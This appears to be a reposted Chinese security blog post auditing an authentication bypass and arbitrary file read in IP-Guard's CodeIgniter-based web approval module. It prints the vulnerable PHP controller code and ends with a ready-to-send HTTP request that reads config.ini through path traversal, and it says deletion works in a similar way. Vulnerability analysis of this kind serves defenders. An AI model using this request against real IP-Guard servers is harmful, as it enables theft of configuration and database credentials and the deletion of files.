IP-Guard权限绕过浅析

admin 2024年10月29日00:31:08评论12 views字数 13424阅读44分44秒阅读模式

IP-Guard权限绕过浅析

比较适合新手学习的一个审计案例,代码简单无阅读障碍

权限绕过

IP-Guard采用CodeIgniter框架二次开发,从微步情报看作用仅是”可以绕过权限验证,调用后台接口进行任意文件读取、删除。攻击者可利用该漏洞读取数据库配置信息,进而接管数据库”

通常来说,CodeIgniter中的鉴权通常是在控制器中的构造函数中

因为代码不多,最后可以发现涉及文件读写的在mApplyList#downloadFile_client

再来看看构造函数

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596
public function __construct(){    parent::__construct();    $this->load->helper("applicationFunc");    $this->load->model("Application_model");    $this->load->helper("common");    $this->load->helper('url');    $this->load->library("session");    $language = $this->session->userdata('language');    switch ($language)    {        case "en-us":$this->lcid = 0x0409;break;        case "zh-cn":$this->lcid = 0x0804;break;        case "zh-tw":$this->lcid = 0x0404;break;        default: $language = "zh-cn"; $this->lcid = 0x0409;    }    $this->language = $language;    $this->logID = $this->session->userdata('LogID');    $this->SuName = $this->session->userdata('SuName');    $this->ManagerID = $this->session->userdata('ManagerID');    $this->pfunc = $this->session->userdata('apprfunc');// 获取保存的功能类型    if(empty($this->pfunc))        $this->pfunc = 'normal';//默认选中桌面申请管理    $this->viewtype = $this->session->userdata('viewtype');    if (empty($this->viewtype))        $this->viewtype = 'pending';//默认等待总览    $this->ufunc_rights = $this->session->userdata('funcrights');    $this->isApp = $this->session->userdata('isApp');    $this->config->set_item('language', $language);    //$this->lang->load($language);//加载多语言数组    $this->lang->load($language, 'appr');    $this->lang->load("console", $language);    $url = $_SERVER['REQUEST_URI'];    $arrURL = parse_url($url);    $func = substr(strrchr(rtrim($arrURL['path'], '/'), '/'), 1);    $func = strtolower($func);    if(!isset($this->logID) || empty($this->logID) ||        !isset($this->language) || empty($this->language) ||        !isset($this->SuName) || empty($this->SuName) )    {        //判断有没有device_token 的session,有就是已登录的app在发起请求        $deviceToken = $this->session->userdata('device_token');        $appMode = $this->session->userdata("app_mode");        //对于旧版本的app,这两个值是空字符串,不执行更新token        if(!isNull($deviceToken) && !isNull($appMode)){            $this->device_token = $deviceToken;            $this->app_mode = $appMode;            $langConfig = $this->lang->language;            $update_res = rw_device_token(UPDATE_DEVICE_TOKEN, $appMode, $this->SuName, $deviceToken, $langConfig);        }        if($func != 'download')        {            if ($func == 'getdatarecord')            {                $this->errorresult(ErrorCode::OERR_NOT_LOGIN);                return ;            }            redirect("appr/SignIn");            return ;        }        else        {            session_start();            $this->logID = $_SESSION['downloadLogID'];            $this->language = $_SESSION['downloadLang'];            $this->SuName = $_SESSION['downloadSuName'];            $this->ManagerID = $_SESSION['downloadManagerID'];            if(!isset($this->logID) || empty($this->logID) ||                !isset($this->language) || empty($this->language) ||                !isset($this->SuName) || empty($this->SuName) )            {                redirect("appr/SignIn");            }        }    }    else    {        $this->load->library('user_agent');        $this->isM = $this->agent->is_mobile();        if (!$this->isM)        {            redirect("appr/ApplyList");        }    }}

我们重点看这一段代码可以看到,如果$func == 'getdatarecord'虽然设置了未登录的日志,但是在return之前并没有重定向到登录页,而这个func则是由uri最后一个路径决定,这里其实存在一个逻辑问题

因为我们知道php各类框架都是支持路径传入动态参数,这是主流PHP-MVC框架都支持的操作,因此访问http://ipg/appr/MApplyList/xxx/http://ipg/appr/MApplyList/xxx/getdatarecord其实是等效的,都能走到对应的Controller以及Method,因而便能绕过对构造函数的验证

123456789101112131415161718192021222324252627282930313233343536373839404142434445
$url = $_SERVER['REQUEST_URI'];$arrURL = parse_url($url);$func = substr(strrchr(rtrim($arrURL['path'], '/'), '/'), 1);$func = strtolower($func);if(!isset($this->logID) || empty($this->logID) ||    !isset($this->language) || empty($this->language) ||    !isset($this->SuName) || empty($this->SuName) ){    $deviceToken = $this->session->userdata('device_token');    $appMode = $this->session->userdata("app_mode");    if(!isNull($deviceToken) && !isNull($appMode)){        $this->device_token = $deviceToken;        $this->app_mode = $appMode;        $langConfig = $this->lang->language;        $update_res = rw_device_token(UPDATE_DEVICE_TOKEN, $appMode, $this->SuName, $deviceToken, $langConfig);    }    if($func != 'download')    {        if ($func == 'getdatarecord')        {            $this->errorresult(ErrorCode::OERR_NOT_LOGIN);            return ;        }        redirect("appr/SignIn");        return ;    }    else    {        session_start();        $this->logID = $_SESSION['downloadLogID'];        $this->language = $_SESSION['downloadLang'];        $this->SuName = $_SESSION['downloadSuName'];        $this->ManagerID = $_SESSION['downloadManagerID'];        if(!isset($this->logID) || empty($this->logID) ||            !isset($this->language) || empty($this->language) ||            !isset($this->SuName) || empty($this->SuName) )        {            redirect("appr/SignIn");        }    }}

任意文件操作

mApplyList.php中和文件下载涉及downloadFiledownloadFile_client,前者涉及到session操作且文件名无法控制,而在downloadFile_client中,可以看到一切都很简单,自己看看代码即可

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337
function downloadFile_client(){    session_write_close();    $langConfig = $this->lang->language;    $path = $this->input->post_get('path');    $fileName = $this->input->post_get('filename');    $action = $this->input->post_get('action');    $backparam = $this->input->post_get('backparam');    if ($action != "download")    {        $detail = $this->input->post_get('detail');    }    $guidID = $this->input->post_get('reqID');    $type = $this->input->post_get('type');    $srcPath = $this->input->post_get('srcpath');    if(!isset($path) || $path == "" || !isset($fileName) || $fileName == "" || !isset($action) || $action == "")    {        $msg = $langConfig['details_fileNotExit'];        $data['msg'] = $msg;        $data['isM'] = $this->isM?'mobile':'pc';        $data['langConfig'] = $langConfig;        $data['backParam'] = $backparam;        $this->load->helper('url');        $this->load->view('appr/ErrorView2',$data);        return;    }    $path = "tempFile/".$path;    $file_dir = $path;    $msg = "";    //取文件的名称以及类型    $fileBaseName = preg_replace('/^.+[\\\\\\/]/', '', $fileName);    // 取文件类型    $path_parts = pathinfo($fileBaseName);    if   (!file_exists($file_dir))    {   //检查文件是否存在        $msg = $langConfig['details_fileNotExit'];        $data['langConfig'] = $langConfig;        $data['msg'] = $msg;        $data['isM'] = $this->isM?'mobile':'pc';        $data['backParam'] = $backparam;        $this->load->helper('url');        $this->load->view('appr/ErrorView2',$data);        return;    }    else   if ($action == "download")    {        $fileBaseName = getFileBaseName($fileName);        $fileBaseName = rawurldecode(rawurldecode($fileBaseName));        $nSize = filesize($file_dir);        $fp = fopen($file_dir, "rb");        // 输入文件标签        Header('Cache-Control: must-revalidate,post-check=0,pre-check=0');        Header("Content-type: application/octet-stream");        Header("Accept-Ranges: bytes");        Header("Content-Length: ".filesize($file_dir));        Header('Pragma: public');        $ua = $_SERVER["HTTP_USER_AGENT"];        if (preg_match("/MSIE/", $ua)) {            header('Content-Disposition: attachment;filename="' . $fileBaseName . '"');        } elseif (preg_match("/Firefox/", $ua)) {            header('Content-Disposition: attachment; filename*="utf8\'\'' . $fileBaseName . '"');        } elseif (preg_match("/Chrome/", $ua))        {            header('Content-Disposition: attachment; filename=' . $fileBaseName);        }        else {            header('Content-Disposition: attachment; filename="' . $fileBaseName . '"');        }        ob_clean();        ob_end_clean();        set_time_limit(0);        $buffer = 1024;        while (!feof($fp)){            print fread($fp, $buffer);            flush();        }        fclose($fp);        //chmod($file_dir,0777);  //修改权限        //unlink($file_dir);        exit;    }    else if($action == "review")    {        $b_error = FALSE;        if(filesize($file_dir) <= 0)        {            chmod($file_dir,0777);  //修改权限            unlink($file_dir);            $msg = $langConfig['error_emptyFile'];            $data['msg'] = $msg;            $data['langConfig'] = $langConfig;            $data['isM'] = $this->isM?'mobile':'pc';            $data['backParam'] = $backparam;            $this->load->helper('url');            $this->load->view('appr/ErrorView2',$data);            return;        }        // 获取水印        $cfgPath = FCPATH . "config.ini";        $this->load->model("Ini_model"); //加载调用接口的方法        $watermaskOpen = $this->Ini_model->get_ini_string('watermaskcfg','open','',$cfgPath);        if($watermaskOpen == '1'){            $content = $this->Ini_model->get_ini_string('watermaskcfg','content','',$cfgPath);            $cType = mb_detect_encoding($content , array('UTF-8','GBK','LATIN1','BIG5')) ;            if( $cType !== 'UTF-8'){                $content = mb_convert_encoding($content ,'utf-8' , $cType);            }            if($content === ''){                $content = $_SERVER['REMOTE_ADDR']." ".$this->session->userdata('SuName')." ".date("Y-m-d H:i:s");            }else{                $content = str_replace("[ip]"," ".$_SERVER['REMOTE_ADDR']." ",$content);                $content = str_replace("[user]"," ".$this->session->userdata('SuName')." ",$content);                $content = str_replace("[time]"," ".date("Y-m-d H:i:s")." ",$content);                $content= str_replace(array('\r\n','\r','\n'),PHP_EOL,$content); // 得到的是单引号字符串,需处理换行符号            }            $fontsize = $this->Ini_model->get_ini_string('watermaskcfg','fontsize','',$cfgPath);            $alpha = $this->Ini_model->get_ini_string('watermaskcfg','alpha','',$cfgPath);            if($alpha){                $alpha = min($alpha, 100);                $alpha = max($alpha, 0);            }else{                $alpha = 70;            }            $config = array(                "text" => $content,                "type" => 0,                "fontsize" => $fontsize ? $fontsize.'px' : "16px",                "alpha" => 1 - $alpha / 100            );            $data['script'] = $this->getscript(json_encode($config));        }        //取文件的名称以及类型        $fileBaseName = preg_replace('/^.+[\\\\\\/]/', '', $file_dir);        // 取文件类        $path_parts = pathinfo($fileBaseName);        $fileBaseType = isset($path_parts["extension"]) ? $path_parts["extension"] : '';        $fileBaseType = strtolower($fileBaseType);        $isTxt = FALSE;        if($fileBaseType == 'txt' || $fileBaseType == 'csv')        {            $isTxt = TRUE;            $result = $this->decryptFile(dirname(BASEPATH)."/".$file_dir, $backparam);            if(!$result)            {                return;            }            $handle = fopen($file_dir, "r");            $newFilename = $this->logID . microtime(true)  . ".txt";            $newSavepath = "tempFile/".$newFilename;            $newHandle = fopen($newSavepath,"w+",TRUE);            $content = '';            // ob_clean();            // ini_set('memory_limit',-1);            // set_time_limit(0);            $buffer = 1024 * 48;            // $size = filesize($file_dir);            $code = FALSE;            $left = '';            while (!feof($handle)){                $content = $left.fread($handle, $buffer);                if ($code != 'UTF-16LE')                {                    //IPG-17136 web审批-预览带中文内容的txt文档乱码                    $code = get_string_code($content);//$code = mb_detect_encoding($content, "ASCII,GB2312,GBK,BIG-5,UTF-8,UTF-16LE");                    if (strlen($code) === 0)                        $code = "UTF-16LE";                }                if ($code != 'UTF-16LE' && !feof($handle))                {                    $idx = strrpos($content, "\n");                    if ($idx === FALSE)                        $idx = strrpos($content, ' ');                    if ($idx === FALSE)                    {                        $left = '';                    }                    else                    {                        $idx += 1;                        $left = substr($content, $idx);                        $content = substr($content, 0, $idx);                    }                }                $t = mb_convert_encoding($content, "UTF-8", $code);                fwrite($newHandle,$t);                unset($t);                // flush();            }            fclose($handle);            fclose($newHandle);            chmod($file_dir,0777);  //修改权限            unlink($file_dir);            // $filename = $newFilename;            $file_dir = $newSavepath;            $data['langConfig'] = $langConfig;            $data['backParam'] = $backparam;            $data['url'] = base_url($file_dir);            $data['app'] = $this->isApp;            $this->load->view('appr/reviewtxt2', $data);            //IPG-16347 web控制台,桌面申请审批,限制文件类型,web控制台预览后,控制台仍显示为未预览            //解密申请            if($this->pfunc == 'encrypt'){                $this->setFileReadStatus($detail, $srcPath, $type, $guidID);            }            //桌面申请            else if($this->pfunc == 'normal'){                $this->nf_setFileReadStatus($srcPath, $guidID);            }            return;        }        require_once(dirname(BASEPATH)."/static/appr/lib/flexpaper/php/tool_transform.php");        $image = FALSE;        $html = FALSE;        $dest_file = dirname(BASEPATH)."/".$file_dir;        $doc_type = null;        $html_path = "";    //当使用模式5预览的时候,应该要有值        $ext = pathinfo($dest_file)['extension'];        $ext = strtolower($ext);        if ($ext != "pdf")        {            if (!$isTxt)            {                $result = $this->decryptFile(dirname(BASEPATH)."/".$file_dir, $backparam);                if (!$result)                {                    return;                }            }            if ($ext == "html" ||                $ext == "htm")            {                $html = TRUE;            }            else if (!@getimagesize($dest_file))            {                $dest_file = dirname(BASEPATH)."/".$file_dir.".pdf";                // $transResult = trans_office2pdf(dirname(BASEPATH)."/".$file_dir, $dest_file);                //返回值修改为数组                $transResult = trans_office2pdf_2(dirname(BASEPATH)."/".$file_dir, $dest_file);                $dest_file = $transResult['dest_file'];                $doc_type = $transResult['doc_type'];                $html_path = $transResult['html_path'];                if ($transResult['info'] == '')                {                    //没有执行成功,多数为没有启动openoffice                    chmod($file_dir, 0777);  //修改权限                    unlink($file_dir);                    $msg = $langConfig['error_reviewFile'];                    $data['msg'] = $msg;                    $data['langConfig'] = $langConfig;                    $data['isM'] = $this->isM ? 'mobile' : 'pc';                    $data['backParam'] = $backparam;                    $this->load->helper('url');                    $this->load->view('appr/ErrorView2', $data);                    return;                }            }            else            {                $image = TRUE;            }        }        if (!$image && !$html)        {            $result = $this->decryptFile($dest_file, $backparam);            if (!$result)            {                return;            }            $page = getTotalPages($dest_file);            $this->load->helper('url');            $data['langConfig'] = $langConfig;            $data['pdf_file'] = pathinfo($dest_file)['basename'];            $data['page_num'] = $page;            $data['backParam'] = $backparam;            $data['app'] = $this->isApp;            $data['html_file'] = $html_path;    //C:Program Files (x86)/TEC/WebServer/www/ipg/tempFile/030BF...924.1872/review.html            $data['doc_type'] = $doc_type;            $this->load->view('appr/review2', $data);        }        else        {            $data['langConfig'] = $langConfig;            $data['url'] = "tempFile/".pathinfo($dest_file)['basename'];            $data['backParam'] = $backparam;            $data['app'] = $this->isApp;            if ($image)            {                $this->load->view('appr/reviewpic2', $data);            }            else            {                $this->load->view('appr/reviewhtml2', $data);            }        }    }    //IPG-16347 web控制台,桌面申请审批,限制文件类型,web控制台预览后,控制台仍显示为未预览    //解密申请    if($this->pfunc == 'encrypt'){        $this->setFileReadStatus($detail, $srcPath, $type, $guidID);    }    //桌面申请    else if($this->pfunc == 'normal'){        $this->nf_setFileReadStatus($srcPath, $guidID);    }}

因此最终构造如下,即可实现对任意文件的读取,另外删除文件类似不再继续赘述,这个漏洞本身也并不难没有啥高含金量

12345678910
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1Host:Accept: */*Accept-Encoding: gzip, deflateConnection: closeContent-Length: 0Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36path=..%2Fconfig.ini&filename=y4test&action=download

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:31:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IP-Guard权限绕过浅析https://cn-sec.com/archives/3314494.html

发表评论

匿名网友 填写信息